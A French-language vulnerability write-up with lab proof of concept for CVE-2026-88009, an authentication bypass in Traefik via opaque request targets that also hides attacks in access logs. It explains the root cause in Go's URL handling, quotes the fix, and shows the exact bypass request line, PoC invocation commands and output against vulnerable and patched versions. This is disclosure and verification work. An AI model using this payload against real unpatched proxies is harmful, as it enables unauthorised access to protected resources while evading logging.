CVE-2026-88009 — Traefik transmet une cible de requête opaque rootless que le routage/forwardAuth interprète comme '/'. Contournement d'authentification + dissimulation des journaux d'accès, vérifié sur v3.7.10 / v3.7.13.
Découvrez les outils les plus utilisés par notre communauté.
Pas encore de données de popularité.
/ mais la transmet telle quelleAffecté : Traefik < 2.11.57, et 3.0.0 – 3.7.13
Corrigé : 2.11.57 / 3.7.13
Correctif : commit 58d1e9ca2045 « Deny request with an opaque request target » — denyOpaque dans pkg/server/server_entrypoint_tcp.go
Avis : GHSA-f52w-8j3h-j724 · CVSS 8.8 · CWE-1286 / CWE-444
Le paquet net/http de Go n'impose pas la forme origin sur la cible de requête : il transmet la cible
brute à url.ParseRequestURI. Une cible telle que
GET http:http://app.local/private/secret HTTP/1.1
se résout en {Scheme:"http", Opaque:"http://app.local/private/secret", Path:""} — une
cible absolute-form légale selon la RFC 9112 §3.2.2. Traefik évalue alors tout
par rapport à un chemin qui se normalise en / :
sanitizePath appelle URL.JoinPath(), qui copie Opaque et définit Path="/" ;Path, donc PathPrefix(/) (et tout routeur Host()) correspond ;forwardAuth construit X-Forwarded-Uri à partir de URL.RequestURI(), qui renvoie
Opaque, donc le serveur d'authentification voit http://app.local/private/secret au lieu de
/private/secret et une politique de préfixe de chemin échoue en mode ouvert ;encodedCharacters inspecte EscapedPath() → / ;GET / HTTP/1.1.La requête sortante est écrite à nouveau avec URL.RequestURI(), qui renvoie Opaque
tel quel, donc le backend reçoit la cible porteuse d'autorité de l'attaquant et la résout
en /private/secret.
Le correctif enveloppe le gestionnaire du point d'entrée en dernier afin qu'il s'exécute en premier :
func denyOpaque(h http.Handler) http.Handler {
return http.HandlerFunc(func(rw http.ResponseWriter, req *http.Request) {
if req.URL.Opaque != "" {
log.WithoutContext().Debugf("Rejecting request because it has an opaque URL: %s", req.URL.Opaque)
rw.WriteHeader(http.StatusBadRequest)
return
}
h.ServeHTTP(rw, req)
})
}
| rôle | image | conteneur | port hôte |
|---|---|---|---|
| proxy vulnérable | traefik:v3.7.10 | poc-traefik-vuln-3710 | 127.0.0.1:21020 → :8001 (point d'entrée opaque) |
| proxy corrigé | traefik:v3.7.13 | poc-traefik-3713 | 127.0.0.1:21023 → :8001 |
PathPrefix(/) avec forwardAuth → http://authz:8080/check.poc-traefik-authz implémente une politique de préfixe de chemin : X-Forwarded-Uri commençant
par /private → 403 DENY, tout le reste → 200 ALLOW ; il journalise l'URI exacte
sur laquelle il a été interrogé.poc-traefik-app résout une cible sans racine/absolue vers un chemin (le comportement que
l'avis exige du backend : « against a backend that resolves a rootless target
as a path ») et sert SECRET-AREA … pour /private/*.lab/README.md.python3 cve_2026_88009.py exploit --url http://127.0.0.1:21020 # vulnerable
python3 cve_2026_88009.py check --url http://127.0.0.1:21023 # fixed
Le PoC utilise raw sockets volontairement : curl normalise la cible et
http.client refuse un chemin non conforme à la forme d'origine, ce qui masque le bug dans les deux cas. --path,
--vhost, --output sont disponibles.
traefik:v3.7.10 vulnérable — contournement de forwardAuth$ python3 cve_2026_88009.py exploit --url http://127.0.0.1:21020
[*] target : http://127.0.0.1:21020
[*] protected path : /private/secret
[*] opaque target : http:http://app.local/private/secret
[*] mode : exploit
[*] control GET /private/secret HTTP/1.1 -> HTTP/1.1 403 Forbidden
body: DENY uri=/private/secret
[*] bypass GET http:http://app.local/private/secret HTTP/1.1
-> HTTP/1.1 200 OK
SECRET-AREA internal data served for /private/secret
request_line: GET http://app.local/private/secret HTTP/1.1
resolved_path: /private/secret
=> PASS (opaque target bypassed forwardAuth and reached /private/secret: HTTP 200, backend served the protected content)
Le serveur d'authentification a été consulté, mais avec l'URI forgée par l'attaquant — c'est le fail-open, d'après le journal du conteneur authz :
[authz] X-Forwarded-Uri='/private/secret' -> 403
[authz] X-Forwarded-Uri='http://app.local/private/secret' -> 200
[authz] X-Forwarded-Uri='/private/secret' -> 403
Et le journal d'accès du proxy masque l'attaque — la requête est enregistrée comme / :
192.168.48.1 - - [24/Oct/2026:13:22:28 +0000] "GET /private/secret HTTP/1.1" 403 24 "-" "-" 2 "opaque-lab@file" "-" 1ms
192.168.48.1 - - [24/Oct/2026:13:22:28 +0000] "GET / HTTP/1.1" 200 143 "-" "-" 3 "opaque-lab@file" "http://app:8080" 2ms
$ curl -sS -w '\n[%{http_code}]\n' http://127.0.0.1:21020/private/secret
DENY uri=/private/secret
[403]
traefik:v3.7.13 corrigé — cible opaque rejetée avant le routage$ python3 cve_2026_88009.py check --url http://127.0.0.1:21023
[*] target : http://127.0.0.1:21023
[*] protected path : /private/secret
[*] opaque target : http:http://app.local/private/secret
[*] mode : check
[*] control GET /private/secret HTTP/1.1 -> HTTP/1.1 403 Forbidden
body: DENY uri=/private/secret
[*] bypass GET http:http://app.local/private/secret HTTP/1.1
-> HTTP/1.1 400 Bad Request
=> PASS (fixed: opaque request target rejected with HTTP 400 before routing)
forwardAuth en fail-open) et évasion des journaux d'accès. La même forme de cible permet également un routage inter-vhost (le backend reçoit http://app.local/…, c'est-à-dire une autorité qu'il n'a jamais vue depuis le routeur), car le routage correspondait à Path="/" tandis que la cible transmise porte l'hôte intégré.encodedCharacters n'a pas été reproduit séparément (le labo n'active pas allowEncodedSlash=false) ; il découle du même raisonnement EscapedPath()=="/" documenté dans l'avis.